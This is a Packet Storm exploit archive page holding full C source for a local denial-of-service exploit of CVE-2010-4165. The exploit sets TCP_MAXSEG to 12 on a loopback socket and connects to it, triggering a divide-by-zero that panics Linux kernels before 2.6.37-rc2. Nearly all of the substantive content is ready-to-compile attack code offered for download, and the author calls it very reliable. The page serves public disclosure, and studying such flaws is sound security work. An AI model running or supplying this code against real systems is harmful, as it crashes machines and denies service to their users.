exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Linux Kernel 2.6 TCP_MAXSEG Denial Of Service

Linux Kernel 2.6 TCP_MAXSEG Denial Of Service
Posted Mar 10, 2011
Authored by zx2c4

Linux kernel versions prior to 2.6.37-rc2 TCP_MAXSEG kernel panic denial of service exploit that triggers a divide by zero error in net/ipv4/tcp.c.

tags | exploit, denial of service, kernel, tcp
systems | linux
advisories | CVE-2010-4165
SHA-256 | a828b90c5c0bad6750f1b7c65f1a2de7ed95c1f80ad18127d00d539bc776fa31

Linux Kernel 2.6 TCP_MAXSEG Denial Of Service

Change Mirror Download
/*
* TCP_MAXSEG Kernel Panic DoS for Linux < 2.6.37-rc2
* by zx2c4
*
* This exploit triggers CVE-2010-4165, a divide by zero
* error in net/ipv4/tcp.c. Because this is on the softirq
* path, the kernel oopses and then completely dies with
* no chance of recovery. It has been very reliable as a
* DoS, but is not useful for triggering other bugs.
*
* -zx2c4, 28-2-2011
*/

#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <net/if.h>
#include <arpa/inet.h>
#include <netinet/tcp.h>

int main()
{
struct sockaddr_in laddr;
memset(&laddr, 0, sizeof(laddr));
laddr.sin_family = AF_INET;
laddr.sin_addr.s_addr = inet_addr("127.0.0.1");
laddr.sin_port = htons(31337);
int listener = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
if (listener < 0) {
printf("[-] Could not open listener.\n");
return -1;
}
int val = 12;
if (setsockopt(listener, IPPROTO_TCP, TCP_MAXSEG, &val, sizeof(val)) < 0) {
printf("[-] Could not set sockopt.\n");
return -1;
}
if (bind(listener, (struct sockaddr*)&laddr, sizeof(struct sockaddr)) < 0) {
printf("[-] Could not bind to address.\n");
return -1;
}
if (listen(listener, 1) < 0) {
printf("[-] Could not listen.\n");
return -1;
}
int hello = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
if (hello < 0) {
printf("[-] Could not open connector.\n");
return -1;
}
if (connect(hello, (struct sockaddr*)&laddr, sizeof(struct sockaddr)) < 0) {
printf("[-] Could not connect to listener.\n");
return -1;
}
printf("[-] Connection did not trigger oops.\n");
return 0;
}

Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    17 Files
  • 24
    Jul 24th
    47 Files
  • 25
    Jul 25th
    31 Files
  • 26
    Jul 26th
    13 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    27 Files
  • 30
    Jul 30th
    49 Files
  • 31
    Jul 31st
    29 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close